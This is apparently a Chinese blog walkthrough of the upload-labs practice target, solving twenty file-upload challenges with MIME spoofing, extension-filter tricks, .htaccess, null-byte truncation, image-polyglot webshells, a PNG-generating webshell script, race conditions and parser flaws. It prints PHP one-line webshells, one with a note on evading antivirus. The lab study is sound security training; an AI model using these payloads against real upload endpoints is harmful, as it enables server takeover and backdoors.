当前位置: 首页 > news >正文

upload-labs 0.1 靶机详解

下载地址
https://github.com/c0ny1/upload-labs/releases

Pass-01



他让我们上传一张图片,我们先尝试上传一个php文件

发现他只允许上传图片格式的文件,我们来看看源码
我们可以看到它使用js来限制我们可以上传的内容
但是我们的浏览器是可以关闭js功能的,我们可以在浏览器的设置中关闭浏览器的js功能
重新加载之后我们进行上传

我们可以看到我们的上传成功了

我们复制图片的地址访问我们上传的php文件

成功访问并且执行了php代码
我们尝试构建一句话木马然后上传

<?php eval($_POST['1']); ?>

这是我们构建的最简单的一句话木马,注意这个一句话木马很容易被杀毒软件识别并将我们的php文件删除因为eval()被认为是一个危险函数
 

<?php $_GET[0]($_GET[1]); ?>

如果上述文件被识别的话我们可以这样写,我使用的是第一种
我们使用蚁剑进行测试

具体的连接测试请看这篇文章:
接下来我直接使用phpinfo()进行测试上传成功即可

Pass-02

我们继续上传我们的php文件

但是很明显不行

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {//这里呢它是在检测文件的类型if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {//它创建一个临时文件$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']   //将临时文件复制到正常的文件中         if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}

我们经过分析源码呢知道了它在检测我们的文件类型
我们可以使用burpsuite进行抓包更改它的文件类型 

我们将这里的文件类型改为image/jpeg然后放包

成功上传

Pass-03


我们继续上传后发现它这次好像是将我们的可执行文件加入了黑名单

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

我们看到源码看起来好像没什么问题过滤了我们的可执行文件
但是呢我们的apache有一个特性在某些特定的版本中它会有这样一段代码

它的意思呢是告诉apache将哪写后缀作为php解析
所以我们可以将我们的后缀写为php1,php3,php4等然后就可以成功上传了

Pass-04

先上传看提示

貌似看不出来什么问题我们看源码
 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

我们发现它将我们所有可能的后缀都加入了黑名单包括大小写,其实它将大小写加入黑名单多此一举因为它使用函数将我们的文件名转为了小写
那么现在怎么办呢?

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
.htaccess文件可以的事情,主要包括:文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,等等。
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

它有很多参数这里我们需要用到
Sethandler application/x-httpd-php   将该目录及子目录的所有文件均映射为php文件类型。
我们就按照查询到的结果将我们的文件内容和名字进行更改

我们先进行上传上传成功后然后将我们的一句话木马的文件后缀改为它让通过的文件类型

访问上传的文件

可以执行php代码

Pass-05

很显然它一定会把我们的.hatccess过滤掉,所以我们直接看源码
 

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

如果仔细看过前几关的源码你会瞬间发现问题,他这关没有过滤我们的大写
所以我们直接将我们的后缀名改为大写即可

Pass-06

查看源码
 

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

对比上一关没有收尾去空
所以我们给我们的文件后缀名加上空格我们来试试
我们将空格加在后缀名的后边

上传失败,可能不是这么用的我们加在中间

上传成功了但是没有解析
这是因为windows的特性会将我们的后缀的空格去掉所以我们使用抓包

在我标记的地方添加空格即可上传成功

Pass-07

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

 查看源码与之前代码相比少了删除末尾的点
所以怎么做应该显而易见我们先试试

其实在我们更改文件后缀的时候我们就发现,改过之后文件末尾的点怎么好像是消失了
是不是和空格一样会被windows删掉,不知道百度一下果然如此,所以我们继续抓包

末尾加点之后成功上传

Pass-08

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空

查看源码发现没有过滤::$DATA
继续抓包修改文件名

上传成功

Pass-09

查看源码可以看到它将之前所有的注入点全部添加上了,但是仔细看过之后它好像没有循环验证,每个点只验证了一次,所以按照他的步骤他先删除了一个点然后转小写去除$DATA字符之后删除空格,反推一下我们可以写成php. .,他过滤完之后剩下的就是php.然后就正常上传windows的特性会帮我们删除最后一个点,所以文件后缀就剩下php
话不多说开始抓包

可以看到是成功上传的

上传的文件也和预期的一样

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {//它先看了一下是否存在文件路径if (file_exists(UPLOAD_PATH)) {//创建一个数组,其中包含不允许上传的文件扩展名列表$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");//从上传的文件信息中获取文件名$file_name = trim($_FILES['upload_file']['name']);//将含有特殊文件名的文件名替换成空$file_name = str_ireplace($deny_ext,"", $file_name);//获取上传文件的临时文件名$temp_file = $_FILES['upload_file']['tmp_name'];//构建文件上传后的路径,将上传目录和文件名拼接在一起。$img_path = UPLOAD_PATH.'/'.$file_name;  //移动临时的文件到目标路径  php的上传特性   if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

分析源码后可以看到它将文件扩展名替换成了空,但是它允许我们上传。
是不是直接双写就可以绕过呢
试试呗 写成这样他从前往后看将php去掉

可以看到上传成功

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){//定义一个白名单$ext_arr = array('jpg','png','gif');//先获取文件名,然后截取后缀$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);//判断有没有在白明单中if(in_array($file_ext,$ext_arr)){//获取临时文件名$temp_file = $_FILES['upload_file']['tmp_name'];//定义一个get传参,将临时文件进行重命名,重命名以后将后缀拼上$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

分析代码看起来好像没什么问题他用的白名单很难绕过,这怎么办?
这里就要引入一个新的知识叫做 00截断
00截断就是用户在url输入中输入包含%00经过浏览器解码后会自动转码将后面的字符截断
比如url输入1.php%00.jpg经过url转码后会成为1.php\000.jpg
php解析时会将文件解析为1.php将后面的字符截断
为什么会出现这样的现象因为php的底层语言使用的是C语言而C语言中的结束符就是 \0
由于这个漏洞危害过高,所以只能在5.2版本中使用,之后的版本都已经修复
这里源码的这一段也很重要

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

先抓包看看

可以看到它通过get传参接收到../upload/这样的一个路径
可以这样写../upload/2.php它经过上边的代码之后
就会是upload/2.php/随机数时间.我们的文件后缀  这样的一个路径
我们在upload/2.php%00/随机数时间.我们的文件后缀
等于是上传后变成了upload/2.php

if(move_uploaded_file($temp_file,$img_path)){

然后看这段代码,它在干什么
它将我们临时文件中的内容,重新复制到了2.php中
还是一样试一试

上传成功

Pass-12

分析源码看到它将上一关的get传参变为了post传参
其实方法是一样的,唯一的区别就是post不会进行解码,所以我们要先对%00进行url编码
抓包

上传成功

Pass-13

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = ''; 

看看他写的这个函数,他读取了文件的前两个字节,用来判断上传的是什么格式的,因为不同图片格式的开头的前两个字节就代表了这个图片的格式,

在这里我们也可以看到他给了我们提示用图片马进行绕过,那你就用呗
先找一张jpg格式的图片,再准备一个写入了php代码的文件

使用windows的cmd直接将php文件中的二进制内容复制到图片中生成新的图片

可以看到已经写入图片文件中虽然图片显示的内容不是正常的但是依然可以打开

上传成功

这里还需要用到文件包含漏洞
这四个函数保护

include 包含   include_once包含一次

require 引入   require_once引入一次
他们有一个最终要的特性是,他包含的所有文件都会被当作php文件进行解析
这里呢源码中给我们准备了一个用于测试文件包含的php文件,一般情况下是没有人会这么写的
因为文件包含是不可能让用户控制的,这是非常危险的,但是既然他给了我们就用他给的测试一下

他的源码是这样的,使用get传参去接收我们的文件

可以看到它将上传的jpg格式的文件解析了

Pass-14

这关他使用getimagesize函数读取文件十六进制的前几个字符串,所以这关依然可以使用上一关的方法

Pass-15

分析源码看到他使用exif_imagetype函数判断一个图像的类型
这看起来没有什么意义,因为使用图片马上传的本身就是他规定格式内的文件
所以依然使用相同的 方法

Pass-16


这里他使用了imagecreatefromjpeg imagecreatefrompng imagecreatefromgif 这三个函数

意思就是改变了图片中关键地方的代码,将图片二次渲染如果使用前几关的方法我们的代码会被打乱或删除
怎么办呢?
这里先尝试gif因为png和jpg的格式比较复杂
先将一张gif图片上传,然后将上传后的图片下载下来
我使用的是010editor

使用010editor打开下载的图与原图进行比较看看哪些地方没有被改动

在这里去找点击Match去找,去蓝色区域表示是相同的,就代表这这里的区域在它二次渲染的时候没有被动过

可以仔细找找尽量在00区域去写,这样能尽可能避免的损坏图片,完成后保存上传
之后下载下来再看,看看php语句是否完整

很好一次成功

尽量多去尝试,因为有可能会失败,将我们的语句打乱。
他要求三种格式都实现大家可以自己去试试,反正我很少成功
这里有国外的大神写的代码可以直接拿来用
upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
 

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

将这串代码运行可以看到生成了一个png文件

上传后下载下来看看

可以看到里面确实有一句话木马我们测试一下
因为他写的是一句话木马所以我们需要进行get和post传参

很明显成功了 就演示这么多剩下的jpg可以看着自己去尝试

Pass-17

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);//上传文件$upload_file = UPLOAD_PATH . '/' . $file_name;//将临时文件移动到目标路径,如果移动成功,则继续执行后续代码。if(move_uploaded_file($temp_file, $upload_file)){// 检查上传文件的扩展名是否在允许的扩展名数组中。没有就删除if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

分析代码,可以看到你可以上传文件,但是他会直接将后缀不符合的文件进行删除
这怎么办?利用条件竞争
怎么做?  我们可以看到它先将文件上传之后再判断了文件后缀然后删除,众所周知代码是按顺序执行的,他既然上传了就会在服务器存在一段时间,所以可以在它删除之前访问上传的文件
这有什么用?  php可以创建文件并写入内容的,如果在上传的文件中写入创建一个文件并写入php代码,我们是不是就可以绕过它,它虽然将我们传入的文件删除了,但是我们在它删除之前已将新的php文件生成
开始尝试

写入生成文件的php代码并且生成在上一级
使用burpsuite抓包 把包放在爆破模块中



爆破的时候我们可以打开它的upload文件并疯狂刷新

可以看到文件确实上传了上去,一瞬间就会消失,我们就是要访问它
我们已经知道它具体在哪个文件下,并且也知道文件名开始爆破后只需要疯狂访问就行

出现报错的时候就证明访问到了,这里手速太快总是刷新过头,所以没截到图
如果发现没有上传成功有可能是没有执行权限



现在就尝试访问,看看php文件有没有执行

可以看到确实执行了

Pass-18

这关上传文件时文件不能被上传到upload中,所以打开本关的myupload.php文件
在这里改一下

之后保存重新进入一下18关即可

分析源码可以看到这关是验证了文件的后缀,可以使用和13关一样的方法即可绕过 

虽然可以绕过但是它考察的肯定不是这里可以在源码中看到它的白名单中有很多无关的后缀
这根本和上传图片好像没有什么关系

百度了一下发现这是个中间件解析漏洞。

apache未知后缀解析漏洞,有点像nginx解析漏洞

参考:文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争_upload-labs第19关-CSDN博客

这是一个由于apache配置错误引发的漏洞
先抓包试一下

将后缀改为zip

在upload文件中看到文件有未改名和改名的文件可以尝试访问这个未重命名的文件

并没有解析文件而是下载文件
再来尝试改后缀它白名单中允许了很多后缀

上传成功并且也有未重命名文件

成功访问并解析

为什么会出现有没有被重命名的文件并且成功上传的文件只有几个?
代码使用time() 函数返回的时间戳作为重命名后的文件名,time() 函数返回的时间戳通常只精确到秒级别,如果用户在同一秒内点击上传按钮,它们生成的时间戳将是相同的,进行重命名时就会冲突失败。

快速点了三次(一秒内)发送就可能导致以下情况:

第一个请求成功上传和重命名了一个文件。
第二个请求上传了一个文件,但因为重命名冲突失败。
第三个请求可能遇到相同的问题,因此也无法重命名文件。
每个请求原文件名都是一样的,所以重命名失败后第三个覆盖第二个
最后保存的文件就只有两个,分别是第一个请求和最后一个请求

Pass-19


可以看到这关多了一个保存文件名称
查看源码看到它没有对上传的文件名做判断只对用户输入的文件名做了判断
move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的/.
直接上传我们的php文件并抓包

修改提交的文件名后缀


上传成功并成功解析

Pass-20

分析源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";

empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;

三运运算符:(expr1) ? (expr2) : (expr3);  如果条件expr1 成立,执行expr2,否则执行expr3;

end函数:将内部指针指向数组最后一个元素并输出;

reset函数:将内部指针指向数组第一个元素并输出;

  if (!is_array($file)) {$file = explode('.', strtolower($file));}

在这里它先判断这个文件名是不是一个数组如果不是就将文件名以点进行分割成为了[‘1’,'jpg']
然后使用end函数将最后的后缀拿出来比对黑名单
所以可以在上传的时候将文件名直接上传为数组['1.php','jpg']
它会认为这是一个数组[‘1.php',‘jpg’]
它将最后一个元素也就是jpg拿走比对白名单时就可以绕过

$file_name = reset($file) . '.' . $file[count($file) - 1];

在这里它使用resrt函数将数组中的第一个元素拿出来用点与数组中的最后一个元素拼接
就是说如果我们上传的时1.jpg那么我们的数组就时['1'[0],'jpg'[1]]
它拿出第一个元素也就时0号元素1然后获取数组长度为2,使用数组长度减一 2-1=1,将1号元素拿出来最后拼接成为1.jpg
怎么绕过?
上传的数组时需要上传为['1.php'[0],'jpg'[2]],这样它拿出的第一元素为1.php,第二元素使用数组长度减一2-1=1,但是我们的数组中没有1号元素,所以$file_name中就存储了1.php.,但是windows的特性会自动删除后边的点
开始上传

将save_name更改为数组形式,更改文件类型

可以看到成功上传

成功访问

相关文章:

upload-labs 0.1 靶机详解

下载地址https://github.com/c0ny1/upload-labs/releases Pass-01 他让我们上传一张图片&#xff0c;我们先尝试上传一个php文件 发现他只允许上传图片格式的文件&#xff0c;我们来看看源码 我们可以看到它使用js来限制我们可以上传的内容 但是我们的浏览器是可以关闭js功能的…...

react 综合题-旧版

一、组件基础 1. React 事件机制 javascript 复制代码<div onClick{this.handleClick.bind(this)}>点我</div> React并不是将click事件绑定到了div的真实DOM上&#xff0c;而是在document处监听了所有的事件&#xff0c;当事件发生并且冒泡到document处的时候&a…...

基于ElasticSearch存储海量AIS数据:AIS数据索引机制篇

文章目录 引言I 预备知识1.1 索引结构1.2 AIS信息项II AIS数据索引2.1 AIS数据静态数据索引2.2 AIS数据动态信息索引2.3 引入静态信息的AIS数据轨迹信息索引引言 AIS数据信息根据其不同更新频率可分为静态和动态信息。索引结构设计包含了静态、动态和轨迹信息索引。同时,为了…...

IDEA中返回上一步和下一步快捷键失效【Ctrl+Alt+左箭头】

原因与解决方法 快捷键失效的缘故&#xff0c;和其它软件的快捷键冲突。方法:改变快捷键。如果不知道哪个软件影响的&#xff0c;一个一个关闭软件&#xff0c;然后再去IDEA中尝试快捷键是否生效。 【提示&#xff1a;我的是QQ音乐软件打开影响的】...

Hubspot 2023年推荐使用的11个AI视频生成器

视频是任何营销活动不可或缺的一部分&#xff1b;然而&#xff0c;如果你不懂编辑或时间紧迫&#xff0c;它们可能会很乏味&#xff0c;很难创建。一只手从电脑里伸出来&#xff0c;拳头碰到另一只手&#xff1b;代表AI视频生成器。 幸运的是&#xff0c;你可以利用许多人工智能…...

Python 导入Excel三维坐标数据 生成三维曲面地形图(体) 5-2、线条平滑曲面且可通过面观察柱体变化(二)

环境和包: 环境 python:python-3.12.0-amd64包: matplotlib 3.8.2 pandas 2.1.4 openpyxl 3.1.2 scipy 1.12.0 代码: import pandas as pd import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from scipy.interpolate import griddata fro…...

[2024年]-flink面试真题(四)

(上海) Flink与Spark有什么主要区别&#xff1f;(上海) 关于Flink的流处理和批处理&#xff0c;你了解多少&#xff1f;(上海) 你能解释一下Flink的架构吗&#xff1f;(上海) Flink是如何处理事件时间&#xff08;Event Time&#xff09;和处理时间&#xff08;Processing Time…...

基于SpringBoot+Druid实现多数据源:原生注解式

前言 本博客姊妹篇 基于SpringBootDruid实现多数据源&#xff1a;原生注解式基于SpringBootDruid实现多数据源&#xff1a;注解编程式基于SpringBootDruid实现多数据源&#xff1a;baomidou多数据源 一、功能描述 配置方式&#xff1a;配置文件中实现多数据源&#xff0c;非…...

AJAX 03 XMLHttpRequest、Promise、封装简易版 axios

AJAX 学习 AJAX 3 原理01 XMLHttpRequest① XHR 定义② XHR & axios 关系③ 使用 XHR④ XHR查询参数案例&#xff1a;地区查询&#xff08;URLSearchParams&#xff09;⑤ XHR数据提交 POST 02 PromisePromise 使用Promise - 三种状态案例&#xff1a;使用Promise XHR 获取…...

如何将办公资料文件生成二维码?扫码可看详情

日常办公的时候&#xff0c;经常会需要应用二维码来向同事或者客户发送和展示一些资料。比如包含企业介绍和产品介绍的资料、一些操作流程的资料、产品展示宣传视频、活动安排详情、比赛流程、会议资料… 这些都能通过一个文件二维码来展示。 文件二维码支持将PDF文件生成二维…...

【Streamlit学习笔记】实现包含多个sheet的excel文件下载

1、什么是Streamlit Streamlit是一个免费的开源框架&#xff0c;用于快速构建和共享漂亮的机器学习和数据科学Web应用程序&#xff0c;官网链接 Streamlit Streamlit API链接 API reference 实际项目中遇到的问题&#xff1a;包含多个sheet的excel文件下载&#xff0c;下面将给…...

[Redis]——主从同步原理(全量同步、增量同步)

目录 Redis集群&#xff1a; 主从同步原理&#xff1a; replid和offset: 全量同步和增量同步&#xff1a; repl_baklog文件&#xff1a; 主从集群的优化&#xff1a; Redis集群&#xff1a; 部署多台Redis我们称之为Redis集群&#xff0c;他有一个主节点(负责写操作)&…...

Buildroot 之二 详解构建架构、流程、external tree、示例

构建系统 Buildroot 中的构建系统使用的是从 Linux Kernel(4.17-rc2) 中移植的 Kconfig(配置) + Makefile & Kbuild(编译)这套构建系统,移植后的源码位于 support/kconfig/ 目录下。Buildroot 本身是一个构建系统,与直接编译源码不同,因此,它对这套系统进行了比较…...

牛客小白月赛61-C-小喵觅食

很经典的bfs,就是从猫咪和MM的坐标开始bfs搜索 不过这题有些小细节需要注意 1.认真审题,注意,猫一旦闻到小鱼干的味道,开始动,此时MM就不动了,一开始没仔细审题,很不好的习惯 2.注意移动的条件,vis,不是墙,距离是MM的移动距离范围内 3.这个猫咪的r2是闻味道的r2,不是移动距…...

200 名专家编写报告:AI 发展可能对人类构成「灭绝级威胁」

3 月 14 日消息&#xff0c;美国国务院委托编写了一份新报告&#xff0c;警告 AI 正呈指数级发展&#xff0c;可能会对人类构成「灭绝级威胁」。 这份报告全称为《提高先进人工智能安全保障的行动计划》&#xff0c;要求美国政府必须迅速、果断地采取行动&#xff0c;以避免 A…...

学习Android的第二十九天

目录 Android Service 与 Activity 通讯 范例 Android Service Alarm 定时广播 Alarm Alarm 使用流程 范例 Android IBinder Binder 为什么是 Binder ? Android Service 与 Activity 通讯 Activity 与 Service 通信的媒介就是 Service 中的 onBind() 方法&#xff0…...

SpringMVC重点记录

目录 1.学习重点2.回顾MVC3.回顾servlet4.初始SpringMVC4.1.为什么要学SpringMVC?4.2.SpringMVC的中重点DispatcherServlet4.3.SpringMVC项目的搭建4.4.MVC框架要做哪些事情?4.5.可能会遇到的问题 5.SpringMVC的执行原理6.使用注解开发SpringMVC7.Controller控制总结8.RestF…...

一条 SQL 更新语句如何执行的

Server 层 存储引擎层 总流程 查询语句 连接器 查询缓存 分析器 优化器 执行器 更新语句 redo log&#xff08;节省的是随机写磁盘的 IO 消耗&#xff08;转成顺序写&#x…...

Github上哪些好用的安全工具1

专注于web漏洞挖掘、内网渗透、免杀和代码审计&#xff0c;感谢各位师傅的关注&#xff01;网安之路漫长&#xff0c;与君共勉&#xff01; URLFinder 一款快速提取网页信息的工具。该项目可以快速爬取网页上的 URL 地址、JS 文件里的 API 接口等信息&#xff0c;支持批量抓取…...

手写Mybatis自动填充插件

目录 一、Mybatis插件简介&#x1f959;二、工程创建及前期准备工作&#x1f96b;实现代码配置文件 三、插件核心代码实现&#x1f357;四、测试&#x1f953; 一、Mybatis插件简介&#x1f959; Mybatis插件运行原理及自定义插件_简述mybatis的插件运行原理,以及如何编写一个…...

upload文件上传漏洞复现

什么是文件上传漏洞&#xff1a; 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷&#xff0c;而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马&#xff0c;病毒&#xff0c;恶意脚本或者WebShell等。“…...

Docker 安装部署 SqlServer 数据库

Docker 安装部署 SqlServer 数据库 背景&#xff1a; ​ 最近在开发数据中台数据集成模块&#xff0c;需要对接大量的数据做测试&#xff0c; 由于SqlServer 下载安装会耗费大量时间&#xff0c;所以采用 Docker 安装 Sqlserver 的方式部署数据库。 1、拉去 sqlserver 镜像 …...

cmath 中cos sin等常用函数的坑(弧度角度换算)

cmath中三角函数的输入是弧度,不是角度.忘了这件事,找bug找了好久! 弧度是旧称弪。在数学和物理中&#xff0c;弧度是角的度量单位。它是由国际单位制导出的单位&#xff0c;单位缩写是rad。弧度是指在一个圆中&#xff0c;弧长和半径之比&#xff0c;即|弧度|弧长半径。 角度…...

深度解析HTTP反向代理-okey proxy

反向代理這個概念可能並不常見&#xff0c;但其實它對於提升網路安全和訪問速度方面發揮著很大作用。 HTTP反向代理&#xff08;HTTP Reverse Proxy&#xff09;是一種特殊的代理伺服器&#xff0c;首先它能夠接收互聯網上的連接請求&#xff0c;然後將這些請求轉發給內部網路…...

SwinIR训练报错解决

swinir训练报错解决 记录swinir图像超分重建算法复现过程中的报错信息,并提供相应的解决方案 报错信息 UserWarning: torch.meshgrid: in an upcoming release, it will be required to pass the indexing argument. (Triggered internally at C:\actions-runner\_work\pyto…...

C++类和对象一

#include <iostream> using namespace std;//设计一个学生类 class CStudent {public: //公有成员void InputData(){cout << "请输入学号";cin >> sno;cout << "请输入姓名";cin >> sname;cout << "请输入分…...

Linux之线程互斥

